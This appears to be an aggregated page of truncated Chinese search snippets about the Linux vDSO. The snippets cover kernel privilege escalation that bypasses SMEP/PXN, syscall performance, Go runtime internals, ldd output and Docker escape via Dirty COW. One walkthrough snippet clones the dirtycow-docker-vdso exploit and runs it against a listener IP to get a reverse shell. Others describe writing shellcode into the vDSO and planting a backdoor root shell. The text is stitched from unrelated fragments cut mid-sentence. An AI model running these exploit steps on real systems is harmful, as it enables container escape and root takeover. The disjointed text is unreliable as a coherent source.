★ 本文旨在介绍vDSO在内核提权中绕过SMEP/PXN的应用 ★ 0x01 vDSO 是什么 孙子兵法最核心的价值观就是:知己知彼,百战不殆。...为了搞清楚vDSO在内核提权中的应用,首先就要搞清楚vDSO到底是什么,我们来看下vDSO的定义: The "vDSO" (virtual dynamic shared object) is a small...0x00007ffff7ffc000 Dumped 8192 bytes to 'vdso.so' gdb-peda$ quit root@kali:/tmp# file vdso.so vdso.so...vdso段中gettimeofday()函数的内容,需要知道vDSO段的内核态地址 3、内核态的shellcode如何编写?...2、vDSO段的内核态地址 通过暴力搜索vdso的ELF开头来确定vdso在内核中的映射位置,这需要一个内核任意读。
为了搞清楚vDSO在内核提权中的应用,首先就要搞清楚vDSO到底是什么,我们来看下vDSO的定义: The "vDSO" (virtual dynamic shared object) is a small...0x00007ffff7ffc000 Dumped 8192 bytes to 'vdso.so' gdb-peda$ quit root@kali:/tmp# file vdso.so vdso.so...0x02 vDSO 在内核提权中的应用 首先明确一点,vDSO在用户态的权限是R/X,在内核态的权限是R/W,这导致了如下两种思路: ? ?...vdso段中gettimeofday()函数的内容,需要知道vDSO段的内核态地址 3、内核态的shellcode如何编写?...2、vDSO段的内核态地址 通过暴力搜索vdso的ELF开头来确定vdso在内核中的映射位置,这需要一个内核任意读。
初始化vDSO发生在arch/x86/entry/vdso/vma.c的init_vdso()函数中: static int __init init_vdso(void) { init_vdso_image...(&vdso_image_64); #ifdef CONFIG_X86_X32_ABI init_vdso_image(&vdso_image_x32); #endif return 0;...} 使用init_dso_image()函数来初始化vdso_image结构体,vdso_image_64和vdso_image_x32在arch/x86/entry/vdso/vdso-image-.../vdso/vma.c中调用函数arch_setup_additional_pages()来检查并调用map_vdso_randomized() -> map_vdso()函数来进行内存页面映射: int...vdso64_enabled) return 0; return map_vdso_randomized(&vdso_image_64); } ? ?
图 2 - 系统调用与函数调用耗时比较 上图中的 vDSO 全称是虚拟动态链接对象(Virtual Dynamically Shared Object、vDSO),它可以减少系统调用的消耗的时间,我们会在后面详细分析它的实现原理...vDSO 虚拟动态共享对象(virtual dynamic shared object、vDSO)是 Linux 内核对用户空间暴露内核空间部分函数的一种机制[^16],简单来说,我们将 Linux 内核中不涉及安全的系统调用直接映射到用户空间...linux-vdso.so.1 (0x00007fff2709c000)...内核中的 ELF 加载器会负责映射 vDSO 的内存页并设置辅助向量(Auxiliary Vector)中 AT_SYSINFO_EHDR,该标签存储了 vDSO 的基地址; 动态链接器会查询辅助向量中...AT_SYSINFO_EHDR,如果设置了该标签会链接 vDSO; libc 在初始化时会在 vDSO 中查找 __vdso_gettimeofday 符号并将符号链接到全局的函数指针上; 除了 gettimeofday
我们从代码中可以发现得到时间用的的vdso方式的调用, 因为有些内核使用太频繁, 每次都内核调用开销太高, 就将用户态的一段内存映射到内核, 这样内核调用就转换成用户态函数调用和内存读取。...MOVQ $0, m_vdsoSP(BX) ... walltime涉及的vdso库的解析. var vdsoSymbolKeys = []vdsoSymbolKey{ {"__vdso_gettimeofday...", 0x315ca59, 0xb01bca00, &vdsoGettimeofdaySym}, {"__vdso_clock_gettime", 0xd35ec75, 0x6e43a318..., &vdsoClockgettimeSym}, } 当然上面代码阅读起来还是有点困难, 进行翻译以后就是下面的代码, vdso_clock_gettime的精度是纳秒而 vdso_gettimeofday..., int32(t.nsec) } t := &timeval{} __vdso_gettimeofday(t, nil) return t.sec, int32(
3,vDSO 有一些syscall,例如time、gettimeofday等,这些只是从kernel中请求数据,kernel的实现上,甚至只是把内核变量copy到用户buf上。...vDSO的man介绍如下: ?...5,memory mapping 上文提到了那个非常极端的方法,本质来说和vDSO比较接近,但是更加激进一些。...相比于vDSO,安全检查非常不好,也需要root权限。 这里不做实现。...可见,syscall的实现上,已经比vDSO的实现没有太大的差距了。远不似当年相对比于int 0x80的性能提升了。 在skylake上测试,syscall大约只要320 cycles。
机制, 将vdso32-sysenter.so动态链接库装载进vsyscall页中,在arch/x86/vdso/vdso32-setup.c可以找到sysenter_setup()函数: int __...(2)调用宏virt_to_page得到syscall_page地址对应的page管理结构地址并赋值给vdso32_page[0]。...(4)将vdso32_sysenter_start地址赋给vsyscall,然后用memcpy()将vsyscall拷贝到对应的页,最后用relocate_vdso()进行重定向。...在arch/x86/vdso/vdso32.S中可以看到vdso32_sysenter_start就是vdso32-sysenter.so: vdso32_sysenter_start: 即将vdso32...3.1.2 相关MSR寄存器的初始化 在arch/x86/vdso/vdso32-setup.c中的enable_sep_cpu()函数完成相关MSR寄存器的初始化: void enable_sep_cpu
vdso在内核层的内存权限为rw,用户层的权限为rx,vdso的范围在0xffffffff80000000~0xffffffffffffefff。...通过getauxval(AT_SYSINFO_EHDR)函数得到用户层vdso地址,并调用memmem找到"gettimeofday"的字符串距离vdso地址的偏移为0x2cd。...出vdso的内容,共有0x2000个字节: dump memory vdso.1 0xffffffff9ac04000 0xffffffff9ac06000 再用objdump -T vdso.1得到..., ret; vdso_usr = getauxval(AT_SYSINFO_EHDR); printf("[+] vdso_usr:0x%lx\n", vdso_usr); ret..., ret; vdso_usr = getauxval(AT_SYSINFO_EHDR); printf("[+] vdso_usr:0x%lx\n", vdso_usr); ret
top -p xxx 命令查看热点函数堆栈: 物理机的perf输出: [物理机perf] 虚拟机的perf输出: [虚拟机perf] 从top输出可以很清晰地看到,虚拟机上的clock_gettime和vdso_clock_gettime...那么,是什么原因导致了__vdso_clock_gettime的性能差异呢?...首先弄清楚什么是 vdso, vDSO(virtual dynamic shared object),是内核提供的一种加速机制,可以让用户态程序不通过系统调用而能执行内核里的函数,在进程加载时,自动加入进程的地址空间...我们来看看centos 7.4的3.10.0-693.el7内核版本中的__vdso_clock_gettime函数的实现: [image.png] sysbench调用clock_gettime的方式为...于是顺着如下调用链: __vdso_clock_gettime -> do_monotonic -> vgetsns 我们再来看vgetns的实现: [image.png] 从vgetns我们可知
Docker Socket逃逸、挂载宿主机procfs逃逸、Docker Remote API未授权访问逃逸;2、系统本身内核漏洞问题,例如:CVE-2016-5195(脏牛 dirtycow-docker-vdso...3.2系统本身内核漏洞问题3.2.1CVE-2016-5195(脏牛 dirtycow-docker-vdso)1、漏洞描述Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞...进入镜像内安装下载相应环境创建一个dirtycow-vdso文件并且把相应exp下载进文件里面(https://github.com/scumjr/dirtycow-vdso)进入到dirtycow-vdso
inotify后,运行时报错,找不到 libinotifytools.so.0 ,运行ldd命令结果如下: ldd /usr/local/bin/inotifywait linux-vdso.so...ldd /usr/local/bin/inotifywait linux-vdso.so.1 => (0x00007fff48fb9000) libinotifytools.so
我用ldd命令检查下Python二进制程序依赖的库文件: [root@centos-linux-7 deps]# ldd /usr/local/python27/bin/python linux-vdso.so.../build/lib.linux-x86_64-2.7/_socket.so: linux-vdso.so.1 => (0x00007ffdba579000) libm.so.6 => /lib64.../build/lib.linux-x86_64-2.7/_curses.so: linux-vdso.so.1 => (0x00007ffd61969000) libpthread.so.0 =>.../local/python27 -name '*.so'|xargs ldd /usr/local/python27/lib/python2.7/lib-dynload/nis.so: linux-vdso.so.../usr/local/python27/lib/python2.7/lib-dynload/_codecs_cn.so: linux-vdso.so.1 => (0x00007fff695db000
/libTaSESDK.so) linux-vdso.so.1 => (0x00007fff675ff000) libstdc++.so.6 => /usr/lib64.../libTaSESDK.so) linux-vdso.so.1 => (0x00007fff8cdff000) /lib/newlibc.so.6 => not found.../libTaSESDK.so' linux-vdso.so.1 => (0x00007fffbb324000) /lib/newlibc.so.6 (0x00007f30651cc000
软件设计引起的逃逸 Shocker攻击 runC容器逃逸漏洞(CVE-2019-5736) Docker cp 命令(CVE-2019-14271) 4、内核漏洞引起的逃逸 脏牛漏洞(dirtycow-docker-vdso...2、测试容器下载并运行: git clone https://github.com/gebl/dirtycow-docker-vdso.gitcd dirtycow-docker-vdso/sudo docker-compose...run dirtycow /bin/bash 3、进入容器,编译POC并执行: cd /dirtycow-vdso/make./0xdeadbeef 192.168.172.136:1234 4、在192.168.172.136
服务无法启动,出现libpcre.so.1 not found的错误,解决方法如下: 先执行下述命令,查看 ---#ldd $(which /usr/sbin/nginx) 显示如下: linux-vdso.so...-#ln -s libpcre.so.0.0.1 libpcre.so.1 再次查看一下: ----#ldd $(which /usr/sbin/nginx) 显示已经ok了: linux-vdso.so
Dirty CoW漏洞的逃逸的实现思路和上述的思路不太一样,采取Overwrite vDSO技术。...vDSO(Virtual Dynamic Shared Object)是内核为了减少内核与用户空间频繁切换,提高系统调用效率而设计的机制。...通过调用那些不需要上下文切换(context switching)的系统调用可以加快这一步骤(定位vDSO)。...利用步骤如下: 获取vDSO地址,在新版的glibc中可以直接调用getauxval()函数获取; 通过vDSO地址找到clock_gettime()函数地址,检查是否可以hijack; 创建监听socket...父进程创建二个线程,ptrace_thread线程向vDSO写入shellcode。
该exploit可以任意写入vDSO(虚拟动态链接共享对象),为了使应用程序更好的执行,该对象将一组内核空间函数导出到用户空间 ,vDSO代码在没有SELinux限制的内核上下文中运行 。...exploit使用漏洞利用代码将shellcode写入vDSO并创建反弹shell。然后,它修 改SELinux策略以解除限制并植入一个后门root shell。 ?
#查看main的链接情况 $ ldd src/main linux-vdso.so.1 => (0x00007ffecf33a000) librice.so => /.../src/main linux-vdso.so.1 => (0x00007ffead3ec000) libc.so.6 => /lib/x86_64-linux-gnu
###查看ld dependency: [root@garnett-vm-1-3nskg test_ld]# ldd libhijack_printf.so linux-vdso.so.1 => (0x00007fff0fcfe000...ld-linux-x86-64.so.2 (0x00007fb30c13c000) [root@garnett-vm-1-3nskg test_ld]# ldd printf_hello linux-vdso.so
文件映射和匿名映射,包括vdso、库的映射、mmap映射的内存等等。 栈stack。...rw-p 0001d000 b3:01 786621 /lib/ld-2.28.9000.so 2aac7000-2aac8000 r-xp 00000000 00:00 0 [vdso
领取专属 10元无门槛券
手把手带您无忧上云